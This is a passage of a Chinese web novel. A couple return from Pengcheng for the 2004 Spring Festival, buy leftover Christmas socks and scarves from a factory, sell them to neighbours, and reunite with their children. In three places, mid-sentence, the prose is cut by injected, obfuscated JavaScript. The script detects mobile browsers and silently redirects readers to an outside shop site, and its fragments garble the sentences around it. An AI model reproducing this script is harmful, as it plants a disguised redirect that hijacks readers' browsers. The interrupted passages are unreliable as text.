绍明听到这里觉得不太明白:“这是什么意思?她去她小姨那里,不打算让老范夫妻俩知道?” 赵如月看着剩下的内容,不由露出笑来,也不给他分析那话什么意思,只继续说信后面的内容:“她说以后不会再回老家,也不会再联系老家的人。” 这下不用赵如月分析,宁绍明也明白了:“这姑娘是不要家了呀?” “你觉得那还是她家?” 宁绍明叹息:“老人常说,有后爹就有后娘,真是没说错。” “她能想通就好,经历了那么多,以后她能好好过日子就不错了,哪还管得了那一家子。”赵如月把信递过去让他也看看,看完了折起来收好。 “晚点我也去买张信纸和信封,给范小蓉写回信,她说以后工作发了工资,会把医药费寄给我,得跟她说一声,我们回老家就不再来了。” 赵如月的东西都收拾得差不多了,该分的已经全都分出去,只剩下他们现在还在用着的被子枕头那些。 吴丽说这些她都要,到时候他们回去了,她再收拾,这下他们连床铺都不用收拾了。 吴丽和黄文发夫妻俩回老家过年的日子晚一些,得到大年三十前一天才能回。 宁绍明后天办好离职手续,正式辞职,不用再去上班。 他们过两天跟房东去看过工厂,再一起去买点东西,就要跟着比较早回去的老乡一起,包车回去了。 榕溪镇,大桥街。 周六的一大早,宁时夏端着碗出来,看到爷爷拿起挂钟下的挂历。 她赶忙抱着碗冲过去:“爷爷,我来我来!让我来撕!” 宁达哭笑不得地把挂历递过去:“我就是看看,没要撕。” “哼,我才不信,昨天大哥也这么说!”她信了,结果就上当了! 上初中住宿的宁丹萍从学校回来,好奇地问:“小夏怎么迷上撕日历了?最近你们学校不流行折星星吗?” 宁时秋看了一眼撕下昨天的那张日历后,一脸心满意足的妹妹,无奈跟堂姐解释:“自从我爸妈答应给她买滑板回来,她就天天撕日历,数着日子等爸妈回来。” 宁时夏重新端起碗,往嘴里划拉炒饭,含含糊糊地说:“还有四天爸爸妈妈就回来了,哥,到时候我们可以上高速休息区接他们吗?” “不能,你忘了,爸爸妈妈打电话回来的时候说过,他们会跟鑫阳的爸妈一起包车回来,直接到家门口下车。” “好吧,也不知道他们几点钟到家,要是晚上到,我睡着了怎么办。” “少愁这些没用的,赶紧吃早饭,吃完抓紧时间写作业,”宁时秋很有哥哥范儿地说道,“不写完不许出去玩,也不许开电视看!” “知道了知道了!”宁时夏话音没落,人已经抱着碗跑出去。 跑到隔壁开了电视的邻居家,跟小伙伴一起坐着小板凳边看电视边吃。 宁时秋还来不及提醒她,端着碗慢慢走路,别跑那么快,已经连个人影都不见了。 只好转头回来,捡起被妹妹撕下扔在桌上的日历,小心翼翼地折起来,带回房间,夹在日记本里。 然后拿出笔,在夹着昨天日历的那一页,一笔一划认认真真地写下一行字: 2004年1月10日,农历腊月十九,星期六,爸爸妈妈还有四天回家。 29. 第 29 章 坐上前往工厂的车时,赵如月难掩激动的心情。 她觉得这次机会送上门来,自家不说发大财吧,怎么也能小发一把。 多活了一辈子,赵如月认为自己有先知优势,不就是选小商品卖嘛,这有多难? 这一次,她必然不会再被时代的浪潮抛下! 她畅想着,等以后自己挣了钱,给儿子女儿都买一套房一辆车,看女儿还敢说自己偏心她哥! 结果去之前有多雄心壮志,真正见识到人家工厂的商品种类有多少、出货量最低要求是多少后,她就有多傻眼。 陆发说他这几个开厂的亲戚做的都是小商品的生意,乍一听好像是代工的小作坊小工厂,生意貌似也做得不大。 赵如月一开始也是这么认为的,到了之后才知道,人家的商品是小商品没错,生意却不是什么小生意,不但在国内铺货,还正经做出口生意。 别说虽然她有十万,但还要留着一部分备用和应急,能动用的钱,可不到十万,就算把他们全副身家都拿来进货,也不够人家最低的出货要求的。 赵如月看完第一家工厂,就有点想打退堂鼓,什么先知优势、什么多了一辈子? 她深深感受到,就算再多活两辈子,人也赚不到认知以外的钱。 也许换了胆子大、有闯劲儿、有经济头脑的人来,可以凭借手头有限的资金,撬动一笔大生意,从此成为成功的企业家,走上人生巅峰! 可赵如月有自知之明,很明显,自己并不是那样的人。 要不然有这本事,自己上辈子也能发财了,还用得着供两个孩子上学都苦兮兮的? 好在他们夫妻俩面上都端得住,跟在陆发身后到处参观,心里不管怎么想,也没表现在脸上。 赵如月心里庆幸,之前陆发提出这事的时候,自己没有被这个好处冲昏头。 要是那时候脑子一热,跟人家说想趁春节前那几天好卖,年前批发一些货回去卖的话,现在就要下不来台了。 前面几个工厂参观下来,赵如月没有发现哪个是适合自己这样的小本生意人做的,倒是陆发跟亲戚谈下了两笔生意。 赵如月这才知道,陆发家不只靠房租生活,人家在鹏城和羊城都有店面,生意还做得不错。 只是那些店是他的孩子在管理,他不需要去看店,只需要负责把控货源,收收租也只是平时有空顺带手做一下。 今天恐怕主要来进货的是他,带自己跟宁绍明来只是个搭头,怪不得陆发敢说,他带他们来,他的亲戚一定会给他们批发价。 原来是他自己也要进货,赵如月想,以后自己进货,估计也是搭着陆发家的货一起批。 只是这样,就要根据陆发家卖的货,来考虑和确定自己要卖什么,并不一定能随自己当地的需求和心意挑选。 如果她要的货不包含在陆发家要的货范围内,赵如月不知道,到时候是否会被拒绝。 以这种方式做起来的生意,限制很大,不可控性也很大。 也有可能,到时候陆家为了还之前他们帮忙的人情,会贴钱帮他们做生意,可这样的生意不会长久。 “要是换个聪明人,人家可能在房东提出这事的时候,就会问或者直接就猜到房东家也做生意了,再不济,参观第一个厂子的时候,听他们说话或者观察他们的神态,大概也能猜到,”赵如月趁着没人的时候,小声跟宁绍明说,“我看到人家验货签单才意识到这点,可见我在这方面确实没什么天分。” 宁绍明倒是觉得她有些妄自菲薄:“你以前也没接触过这些,不知道不是很正常?这次见识过,以后就知道了。” 赵如月叹气:“机会可遇不可求,哪可能一直待在原地等着我学会,以后怕是没这样的机会了。 宁绍明看出来她没干劲,也不想做小商品生意了。 安慰她:“我们说好了年后再给房东答复,你有的是时间,可以慢慢考虑,接下来还要看最后一个工厂,参观完你要还是不知道该卖什么,这事就算了。 反正不做小商品生意,你还可以跟我一起做餐饮,夫妻档也挺好的,两个人忙一个店,总比一个人干一样轻松些。 到时候由我来跟房东说,我希望你帮我一起开餐饮店,就不做小商品生意了,今天来参观就当花一天时间,来见见世面,长长见识。” 赵如月挺不好意思,之前兴致勃勃要卖小商品的是她,现在打退堂鼓的也是她,幸好宁绍明比较能包容她。 最后一个工厂,倒是跟赵如月来之前预想中的有些接近。 那是一个做衣服、裤子、帽子、袜子、鞋子的代工厂,规模不算大,出货量最低要求也不高。 进货资金这方面是合适了,赵如月却依然做不了,因为衣服这东西,需要比较好的审美去选品。 她的衣品只能勉强算得上一般,买的衣服几乎全是以舒适为主,但是想长期做服装生意,这样肯定是不行的。 选品要是做不好,就等着积压一大堆货亏钱吧。 赵如月觉得,让自己女儿来选,没准选出来的都要比她选的好,可她女儿才三岁…… 最后,来这一趟发财梦碎,还什么也没做成,赵如月干脆破罐子破摔,想着来都来了,干脆豁出去。 算着准备要走的时候,她厚着脸皮问人家:“我们过几天回老家过年,想给老人孩子买几件衣服,能不能直接在这儿买?能给个批发价不?” 本以为老板会不太高兴,没想到人家脸上的笑容一点没变,直接点头同意:“当然可以,我们这里经常有打算进货去卖的人来拿样品,只要登记一下,就算每样只拿一两件,我们也给批发价,你们要的话,我就当样品给你们了。” “那太谢谢了!”赵如月原本只打算给父母公婆、她和宁绍明一人买一套,两个孩子一人买两套。 一看价格,连兄弟姐妹、侄子侄女、外甥外甥女全算上了! 儿子女儿更是直接把从里到外、从上到下要穿的,一人给买四套! 赵如月选好款式,跟着工作人员去拿衣服。 工作人员在仓库里翻合适的袋子给她装衣服,不小心扯到角落的一个大口袋,里面散落出一捆一捆红红绿绿的袜子。 赵如月好奇地问:“你们这怎么还做这种大红大绿的袜子?城里很少有人会买这种样式的吧?这种带到我们老家乡下去,价格实惠点的话,倒是有可能会比较受欢迎。” “这个啊,”工作人员头疼地看了一眼那袋袜子,“这是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14516564|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 圣诞节前做的袜子,圣诞节那时候倒是卖得还行,过了圣诞节就不好卖了。” “原来是这样。”赵如月看到的时候,就觉得那配色挺眼熟,还真没往圣诞节想,毕竟她也不过洋节。 就她这种审美非常一般的人,看着都觉得如果不跟圣诞节搭边的话,那配色真的挺土挺丑的。 工作人员听赵如月说,那袜子在她老家可能受欢迎,仿佛看到了清理积压货的希望。 “那些都是当时做多剩下的优等货,不是瑕疵品,你要带回去卖卖看不? 一共有两袋,可以便宜点当积压的次品,一袋一百块钱批给你,还有三袋丝巾、围巾、手套那些混装的,不全是圣诞款,有些是去年春节做的羊年生肖款,今年过时了,拿回去需要自己挑拣分类,你要的话,等会儿我去跟老板说一声就行。” 赵如月下意识想拒绝,那袋子可不是两塑料袋,而是类似尿素袋那样的大编织袋,想带那么几大袋东西回去可不容易。 他们原本回去要带的东西已经很多了,再加上这些,长途车司机的白眼恐怕能翻到天上去。 过年人人回老家都要带不少东西,放行李的地方不一定够分,到时候可别连他们都被司机拒载了。 可话没说出口,赵如月又想起他们是跟老乡一起包车回去,不存在中途揽客超员和放行李的地方不够分的情况。 合伙包车的人还差两个,要是她把那两个位置也包了,加上原先她和宁绍明的两个位置,他们一共就有四个位置。 车底行李舱里能占的空间也更多,多带点东西,其他人应该不会有意见。 最重要的是,那一袋袜子,里面有几百双,只要一百块钱一袋,能卖出去就绝对不亏。 别的赵如月不敢肯定,但是那些袜子,她可以确定,只要能带回老家,就一定卖得出去! 其他三袋东西,里面每种数量不多,应该也不难卖,要是年前卖不完,也可以留着慢慢卖,反正这东西又不会坏,成本也低,实在不行就打折卖! 赵如月问:“你能不能稍微等等,我出去跟我老公商量一下?” 工作人员挥挥手:“行,你去吧,你要的衣服我还没找全呢,可以商量好了再过来。” 赵如月转身跑出去,没一会儿拽着宁绍明一起来了:“你看看,就是那些。” 宁绍明问过工作人员后,跟赵如月一起过去,大致翻了翻那几袋东西。 确认那些东西确实不是瑕疵品,大小型号也都很齐。 他在心里粗略地算一算利润,跟赵如月对视一眼,两人不用说话,就默契地理解了对方眼里要表达的意思。 来的时候,他们是坐着陆发家的小汽车来的。 走的时候,他们是跟着最后一家厂里帮忙运货的皮卡车走的,五大袋东西,陆发的小汽车根本装不下。 陆发也没预料到事情会是这个走向,不过他看赵如月和宁绍明批了货,心里也挺高兴的,觉得不管怎么样,他们俩这次跟来有收获,这人情算是还回去一部分了。 晚上吴丽和黄文发下班回家。 看着客厅里几乎占满小客厅的那五大袋东西,两人齐齐傻眼:“那么多东西!你们这都买的什么?回老家日子不过了?!” 30. 第 30 章 “就是想以后日子过得好一点,才买这些。”赵如月拆开袋子,拿出了适合他们尺寸的袜子,让他们拿一些去穿。 “我和绍明打算把这些货带回老家,趁着年前甩卖,挣点钱好过年,”赵如月拿了袜子,又打开另外的袋子,“别看那些袜子颜色花花绿绿的挺不好看,这些可都是工厂里的优等品呢,这里还有别的,你们快来选几样试试,丝巾、围巾、手套全都有,就是还没来得及分类,来喜欢哪个就拿哪个,算我们送的。” “那可不行,你们要拿去卖钱的,我选几样你给我算算多少钱,”吴丽摸了摸赵如月拿出来的袜子,觉得质量确实不错,拿了钱塞赵如月手里,“我顺便给家里父母孩子也买几样,你回去的时候,帮我带给他们就行。” 赵如月把钱又给她塞回去:“可别给钱,我们都多少年交情了,这点东西还用得着给钱?快给我收回去!不用你说我也得给他们送一些,我们捡了个大便宜,进货价低得很,送出去这点破不了产,你就放一百个心吧!” 宁绍明也在旁边附和:“小月说得对,你们就收下吧,后天我们回去,还得麻烦你们帮忙收拾房间和剩下带不走的东西。” 黄文发说:“你们留下的东西,全是平时能用得上的好东西,我们收拾也算我们占便宜了,哪能算帮忙。” “得了,一点东西,别一直叽叽歪歪的,”赵如月干脆自己挑出两条丝巾塞给吴丽,又挑出男女款不同颜色款式的围巾各两条,手套各三双,直接全部塞过去,“再退回来或者给钱,我真生气了!” 她都这么说了,吴丽和黄文发也不好再跟她推来推去地客气:“好吧,我们这回算是沾光了。” 两人摸着塞过来的东西,那质感,跟他们去逛商场的时候,只敢看看摸摸,不舍得买的那些质量一样。 要是去商场买,这么多东西,怕是要花出去半个月工资! 他们收下东西也在心里琢磨,得买点什么让赵如月和宁绍明带着,坐长途车的时候在路上吃。 以前来的时候兜里没钱,他们坐长途车带的就是家里煮的鸡蛋,街上买的馒头、包子,这一类便宜的东西,连水都是从家里拿个水壶装的凉白开。 什么零食、面包、饮料,那是想也不敢想的‘奢侈品’。 现在不一样,他们每个月都能挣钱了,那些以前舍不得买的东西,偶尔也舍得买点打打牙祭,买来送朋友一回也不会觉得心疼。 赵如月和宁绍明十四号早上的车回老家。 这几天鹏城终于降温,晚上温度低,吴丽和黄文发一般一下班直接赶回家,不在外面逗留受冻。 十三号这天黄文发去接吴丽下班后,两人没跟以往一样马上回家,而是拐去了附近的商场。 先去商场的超市里买了些零食和饮料,出来又去面包店,挑了各种不一样的面包凑一袋。 回去的路上,路过卖盐焗鸡的店,又买了一些盐焗鸡翅和盐焗鸡腿,回家后只给自己留了两个面包明早当早餐吃。 其他的全塞给赵如月和宁绍明:“你们带着路上吃!” 赵如月夫妻俩看着面前的两购物袋东西,目瞪口呆:“我们15号早上就到家了,哪能吃得了那么多!” 吴丽说:“天冷,不容易坏,吃不了带回去给小秋和小夏吃。” 黄文发点头:“就是!” 赵如月想了想,这些东西推八成是推不掉,她看里面有不少保质期比较长的东西,干脆不再推拒。 大不了带回去后,给他们家妙妙和小德也分一分,在他俩回去之前,就让两个孩子提前高兴一回。 即将要回家,行李早就打包好,赵如月躺在床上却一直没有困意。 一想到即将见到两个孩子,她怎么都睡不着。 脑子里不断地在想,回老家之后,跟两个孩子一直生活在一起,她以后就真的能教育好两个孩子吗? 她这次该怎么养他们?该选择怎样的教育方式,又该如何实施?万一不顺利怎么办? 一直到半夜才迷迷糊糊睡过去,感觉没睡多久,闹钟就响了。 起床的时候赵如月脑袋昏昏沉沉,好在没生病,只是一直打哈欠。 宁绍明看她没精神,一上车就催她赶紧补补觉,可别晕车再吐了,到时候更不舒服。 好在他们包的车是长途卧铺车,可以躺下,回去的人里也没有乱七八糟的陌生人,只有他们老乡。 宁绍明一说赵如月昨晚没睡好,现在想睡一会儿觉,就有几个老乡也说,因为今天要回老家,他们昨晚同样兴奋得睡不好,也想睡觉,其他人就主动压低了声音说话。 上了车后,赵如月很快就睡着了。 一觉睡醒,刚好车子要在半路的高速公路服务区停下休息,服务区有收费的洗手间,可以洗漱、上厕所。 吴丽和黄文发买的那些东西,赵如月早上吃了点,这会儿看着那么多好吃的东西,却没什么胃口。 反而闻到别人泡的方便面香味,有点想吃方便面。 她拐去服务区的小超市一看,普通商店卖四、五块钱一桶的桶装方便面,这里直接翻倍,卖十块钱一桶! 十块钱,买袋装的都能买四袋了! 赵如月什么也没买,空着手出来了,心里想着,等她到家,直接买两箱放家里慢慢吃! 出了小超市,回去勉强往肚子里塞了点东西,车子再次上路。 她一上车,又睡着了。 再次醒来,已经是晚上,离家越来越近,但凌晨两点到五点,长途大巴不能上高速。 凌晨一点多将近两点的时候,车子要停在另一个高速公路服务区过夜,凌晨五点后才再次上路。 重新上路的车子又继续开了两个多小时,赵如月终于在路边的指示牌上看到:云山县、出口、12公里的字样。 其他人也看到了那个牌子,这意味着他们真的快到家了,车上的氛围有些躁动,这时候已经没人再睡觉。 十四号上午八点钟,车子下了高速,继续往榕溪镇开。 下高速后,距离高速出口最近的一个老乡很快到了家,他的家人早早在门口等着。 车子一停下,他的家人立刻迎上来,一叠声说着:“到了到了!终于到了!” “路上怎么样?没晕车吧?” “东西我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14534350|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿着,你快去跨火盆!” “快去洗洗脸和手,早饭都做好了,知道你们早上到,我们都等着你们回来才吃,吃完你们就先去好好休息……” 车子重新启动,越开越远,团圆的第一家人逐渐看不到了,车上载着也即将跟家人团圆的人,心里都难掩激动。 一个个盯着窗外熟悉的家乡景色,有些平常话不多的人也控制不住地多话起来。 “也不知道我爸妈在不在家,前几天打电话回去,他们说要借牛去耙水田,我让他们等我回去再耙,也不知道有没有听进去。” “耙田那么早?不是二三月份才开始育秧?” “他们说这些年出去打工的年轻人多,养牛的人家少了,怕到时候借不到牛,我想着等还了家里的债,要是还剩点,干脆自家买一头小牛,让家里老人养。” 另一个人说:“养牛麻烦,我打算攒够钱就买辆拖拉机,到时候能运货,还能拆下拖拉机头,改成旋耕机,装上水田轮犁地、耙地都行。” “怎么的,你以后还回家种地啊?” “不种地能怎么办,总不能打一辈子工吧?孩子上小学他们爷爷奶奶还管得了,我们出去还行,上初中就不好管了,我们当父母的可不能不在身边。” “嗐,这有什么,孩子读得出来就供,读不好就让他们也跟着出去打工呗,一家子一起挣钱多好!” 另一个人笑笑不搭这话了。 赵如月听着别人聊天没吭声,他们家也快到了。 十分钟后,熟悉的老房子映入眼帘。 从早上起床到现在,一直蹲在家门口眼巴巴等着的宁时秋和宁时夏,远远看到一辆极少见的、比去县城的公交车还要高大的大巴车来开,立刻猛地站起来. 他们目光灼灼地盯着那辆车,心里默默念着:万别是路过、千万别是路过…… 在他们期待的眼神中,那辆车稳稳当当地停在他们家门口。 两人不可置信地愣了好几秒,听到熟悉的声音在叫他们的名字:“小秋!小夏!”才如梦醒一般回过神来,往车门的方向冲过去。 “妈妈!” 赵如月红着眼眶一手揽着一个孩子:“小秋小夏,我们回来啦!” 宁绍明乐呵呵地站在旁边,摸摸两个孩子的脑袋,他刚想说话就被一起回来的邻居叫走:“宁三哥,快来搬你们的东西!” “来了来了。”宁绍明想起他们东西很多,急忙招呼从家里出来的父母、大哥还有大侄子,帮忙一起搬。 帮忙搬东西的他大哥宁绍贤一边搬一边瞪大了眼睛,夸张地说:“你们夫妻俩这是发达了,把鹏城的商场整个搬回来了?” 宁绍明笑着说:“什么发达,没有的事,我跟小月在朋友亲戚家的厂里拿的东西,等进去再仔细跟你们说。” “好家伙,”宁绍贤再次发出夸张的感慨,“你们俩真是出息了,竟然还结交到了家里有亲戚开厂的朋友,早知道去年我也该跟着去打工的。” 宁绍明:“……” 他默默在心里决定,等会儿跟家里的说辞,改成他们跟工厂赊账拿的那些货,进货价也要说得再高点。 31. 第 31 章 赵如月两人带回来那么多东西,不仅宁家人震惊,连同一条街的邻居、住得近的亲戚都来看稀奇了。 “听说了吗?宁老三两口子发财了,带回来好几大袋东西!一起去看看不?” “还用得着听说?我当时端着早饭在他们家门口,边吃边跟人唠嗑,亲眼见到宁老三招呼他家人搬东西进去的!早饭吃完了,回来放碗,正准备再过去看看。” “还真是啊!走走走一起去!诶,那个谁,你老婆不是宁老三老婆堂姐么,你跟他是连襟啊!你不去看看?” “去啊,我先回去叫我老婆,她前几天还念叨好久没见堂妹,等他们回来要好好聚一聚。” 一群人呼朋引伴的,仿佛要去看马戏。 赵如月娘家离得近,也有人去通知了她父母、哥嫂和姐姐姐夫。 不过他们想着,赵如月夫妻俩坐那么久的车刚回到家,肯定需要休息,也要跟亲家和孩子们好好说说话,就都没来。 宁家很快变得比菜市场还要热闹。 赵如月本来想先跟儿女好好亲近一下,给他们看看自己和宁绍明给他们买的滑板、自行车、零食,试试给他们买的衣服。 可上门看热闹的人源源不断,她不好好招呼,别人转头可能就背地里说他们家闲话。 之后还要卖东西呢,这些可都是潜在客户。 赵如月只好先把滑板和自行车拿出来,交给宁时夏和宁时秋,让他们俩出去玩,自己打起精神来应付邻居和亲戚们。 “绍明,这些买回来过年用的东西,你先搬到房间里放着,晚点我们收拾好再拿给爸妈。”赵如月指了指除开那五袋货之外的其他所有东西。 她指的那些不全是买回来过年用的,也就是找个借口这么一说,让宁绍明把这些全搬到他们房间里,省得别人乱翻。 宁绍明也明白,没傻兮兮地说出来有些不是年货,老婆怎么吩咐,他就怎么做。 等他把东西搬进去,赵如月已经利索地打开一个装袜子的袋子,满足前来围观的邻居和亲戚们的好奇心。 “其实也不是什么稀罕玩意儿,”赵如月拿出几捆袜子,“我们包车回来,正好有两个位置空着,我和绍明就想着,那位置空着也是白空着,平摊到每个人头上,大家也要多花钱,干脆去朋友亲戚家的厂子批了点货回来,要了那两个位置放货,想趁着年前东西好卖,试着卖卖看。” 她说着,把另外几个袋子口也打开了,让大嫂帮忙盯着点。 大嫂这人,毛病不少,赵如月是很讨厌她在自己孩子面前胡言乱语、搬弄是非,但她现在还不能跟大嫂翻脸。 因为在外人看来,他们夫妻俩出去打工,孩子留在老家,虽然说是让两个老人帮忙带,可还没正式分家,大嫂在别人眼里也是帮衬了他们的。 如果她一回来就跟大嫂翻脸,以后别人不敢在她面前说什么,却有可能背着她对她的孩子们嚼舌根。 另外,毛病多的人,也不代表她没有一点可取之处。 大嫂当然也有她好的地方,那就是她分得清里外,还比较护短。 自家的东西,别人甭想在她眼皮子底下顺走一点。 自己这个妯娌,跟现在围着看热闹的人比起来,在大嫂眼里算是自己人,那妯娌的东西也算是家里的东西。 王海燕也确实是这么想的,另外她也想着,自己帮弟妹这么个小忙,没准能也从中沾到好处,那些东西肯定是要看紧了。 这不,好处马上就来了。 赵如月小声跟她说完,拿出来的那三捆袜子,直接就塞了两捆进她手里:“大嫂,你拿着穿,千万别跟我客气!” 剩下的一捆才分发给围观的女人,让她们轮流拿着看看质量。 “哎哟,这怎么好意思,”王海燕嘴上说着不好意思,手已经喜滋滋地接过那两捆袜子,“一捆得有五双吧?在街上买一双袜子至少要三块五,这么多袜子,要三四十块钱呢,我可不能白拿你的,等会儿拿钱给你!” 赵如月知道她是口是心非,说等会儿拿钱,真会给才怪了,她就是想占个口头的便宜。 东西给都给了,赵如月可不会在这方面吃亏:“一家人说什么给钱不给钱的,这里还有丝巾和手套,我给你挑红色好看的,过年戴着应应景!” 说着又打开另一个袋子,掏出放在上层,早就准备好的丝巾和手套,不由分说地全塞王海燕怀里。 继续说道:“我们这边不生产这些东西,运货过来远,进货价和运费比较贵,镇上那些袜子价格才卖那么高,我这是回来过年,顺道捎回来的厂家直批,运费还比别人低,价格肯定不会定那么贵的。” 有摸了半天袜子的急性子邻居,发现这袜子摸起来,比自己在镇上买的手感好很多。 听赵如月说她卖的价格会比镇上的便宜,立刻按捺不住追问:“你打算卖多少?我们邻里邻居这么多年,可要给个真正的实惠价!” 其他人也纷纷跟着问,完全没人提这些袜子的花色颜色问题。 甚至有些上了年纪的大娘觉得,那大红大绿的颜色好,比街上卖的那些喜庆。 赵如月顺势说出这些东西要卖的价格:“放心,我又不是做完这一单全家人就跑路了,往后还要继续当邻居,怎么也不会坑你们,不过只买一两双的话,肯定便宜不了多少,不到五双的,都是按照单价三块一双来卖。 但是买五双只要十块钱,十双只要十五块钱,不分大人小孩全都一个价,这样我方便算钱、找钱,毕竟我也不是专门做生意的,可没那么多零钱找零,你们要是买不了那么多,可以自己找人凑一凑。” 赵如月回来之前跟宁绍明大概地算过,他们回来的车费因为是包车,比去汽车站买票坐车便宜许多,一个位置才一百八十五块钱。 就算把他们两个的位置也算进成本里,哪怕全都以十双十五块钱的这个价格卖出去,只卖出一袋袜子也能回本,并且小赚。 有个大娘听到赵如月后面那几句,不解地问:“你们俩不是认识人有货源吗?年后不打算继续做这个生意了?” 赵如月笑道:“我的婶儿诶,哪能一直有这种好事,你看到这些袜子的花色没,红红绿绿的,全是圣诞节特供款 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14544393|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,工厂生产的优等品! 这个节日城里人一年就过那么一次,我们运气好才捡漏到这些货,卖完就没有了,别说年后,就是明年这个时候也不会再有。” 大娘哪知道什么圣诞节,她只知道这袜子喜庆好看,还是优等品,还便宜!该下手时必须下手,错过就没有了! 这会儿屋里只剩下女人了,刚才一起进来看热闹的男人们,一看全是这些袜子、丝巾、围巾什么的就没了兴趣,也不耐烦继续待着。 宁绍明往房间里搬完东西一出来,那些男人立刻拉着宁绍明出去。 都想跟他聊聊他们在外面这一年遇到的事,最重要的是给他们介绍货源的那位朋友,以及那位朋友家开厂的亲戚。 有人明年也想出去打工,想问问宁绍明能不能带自己一起出去,给介绍个工作,要是能进熟人的厂肯定是最好的。 有人则是想知道他怎么走的大运,认识到那样的贵人。 这些人里,要么是跟宁绍明从小认识,一起长大,要么是看着宁绍明长大的,当然也有宁绍明看着长大的。 明明一年前,大家还是一样的小镇普通人。 但是一年后,宁绍明竟然认识了那么一个家里有亲戚开厂的朋友。 他整个人看起来也跟以前有点不一样,仿佛有点城里人那个味儿了。 这让不少人心里十分复杂,说不出是什么滋味。 堂屋里,赵如月已经开张了,几乎每个人打算买袜子的人都是十双十双地买。 本来过年就要给家里人添置点新衣服、新鞋、新袜子什么的,既然这里的质量好又便宜,当然不买白不买。 十双看起来有点多,但全家人分一分,每个人也就一两双。 要是家里人多,还像宁家这样没分家,买二十双回去也不够分的。 没带钱的赶紧回去拿钱,赵如月说袜子只有那两袋,卖完没有了,让不少人有一种紧迫感,生怕自己回来晚了买不着,回去拿钱都是小跑着的。 偏偏这些人在路上遇到熟人,还兴奋地跟人家说,赵如月这里有便宜袜子卖,让人家也赶紧去。 结果来买的人越来越多,一袋袜子几乎卖光,来的人才慢慢减少。 还有人卖了袜子,又看上了别的东西,问赵如月怎么卖。 那些东西赵如月还没分拣好,再加上坐车那么久,到家也没能好好休息,就要应付这么多人,实在是有点累了。 就跟她们说这些明天才卖,想挑好的明天记得早点来。 女人们买完东西,又聊了一会儿才慢慢散去,等宁绍明回来,剩下的人也走了。 宁绍明在外面应付那些来打探的男人也不轻松。 夫妻俩对视一眼,都感觉身体累、心也累,很想马上回房间躺下好好歇一会儿。 但是事还没完,父母哥嫂八成也有一肚子话等着问他们呢。 宁绍明正想趁大嫂拿赵如月送她的东西回房放,父母、大哥和侄子也还在外面没进来,跟赵如月说自己的想法,改改对家里的说辞。 门口忽然冒出两个小脑袋。 32. 第 32 章 两个孩子看屋里只剩下自己爸爸妈妈,便小跑着进来。 宁时秋已经懂事了,好久不跟父母接触,又觉得自己是哥哥,是大孩子了,不能像小孩子一样跟父母撒娇,在他们面前还有点不好意思靠太近。 宁时夏一个三岁的小孩,没什么都不懂,所以完全没那些顾虑,一跑进来就黏在香香的妈妈身边。 她一手半抱半拖着滑板,一手抱住赵如月的胳膊,奶声奶气地问:“妈妈你累不累?” 赵如月下意识想跟上辈子孩子每一次问她类似的话时一样,回答:妈妈不累。 话没出口,她对上孩子天真的眼神,又想起每一次说自己不累,其实并不是真的不累,那些累也没有消失,只是被积累在她心里,越积越多。 直到某一天突然爆发,让孩子感觉到十分莫名其妙。 赵如月又犹豫了,对待这个原本再普通不过的问题,变得小心翼翼起来。 一时间竟不知道,自己该怎么回答才是对的。 如果说不累,会不会又重蹈上辈子的覆辙? 说累的话,又会不会走向另一个不好的结果? 回家前一天晚上,困扰得她翻来覆去睡不着觉的问题,在这时候突然具象化,让她有些无措。 不过孩子只是年纪小,不是傻子,尤其是这孩子还很聪明活泼,很懂得观察。 没得到回答,宁时夏也不知道什么尴尬。 她无师自通,在询问没有得到答案之后,很快改成通过自己的观察来判断:“爸爸妈妈看起来都累了,我和哥哥给你们铺了床,你们快去休息吧,等休息好再吃东西。” 宁时夏说完转头看向宁时秋:“哥哥这样行吗?爸爸妈妈才回来,刚才还干好久的活,最需要休息,不马上去吃早饭,奶奶应该不会生气吧?” 赵如月知道老一辈以及她这一辈的人,对于一日三餐,总是有一些固执的规律,很是看不惯年轻人在吃饭这件事上的拖延。 家里每天三餐必须吃,而且没有意外的话,吃饭的时间几乎每天都差不多。 一旦到饭点,做好饭,必须一叫马上来吃。 谁慢一点必然挨骂,也不许说等会儿再吃,更不允许说什么没胃口,说没胃口的都要被批成矫情。 宁时秋说:“我问过奶奶了,她说爸爸妈妈不管先吃早饭再休息,还是先休息再吃都可以,他们先休息其他人就先吃,提前把他们那一份留出来就行。” 宁时夏点点头,放下自己的宝贝滑板,牵起赵如月的手,又转头去牵宁绍明:“我带你们去休息!” 宁绍明想得没赵如月那么多,他满心欣慰又骄傲地想着:两个孩子真懂事,小小年纪就会心疼父母了,他的孩子果然是最乖巧、聪明、可爱、懂事、机灵的! 他把东西搬进房间的时候,床还没铺呢。 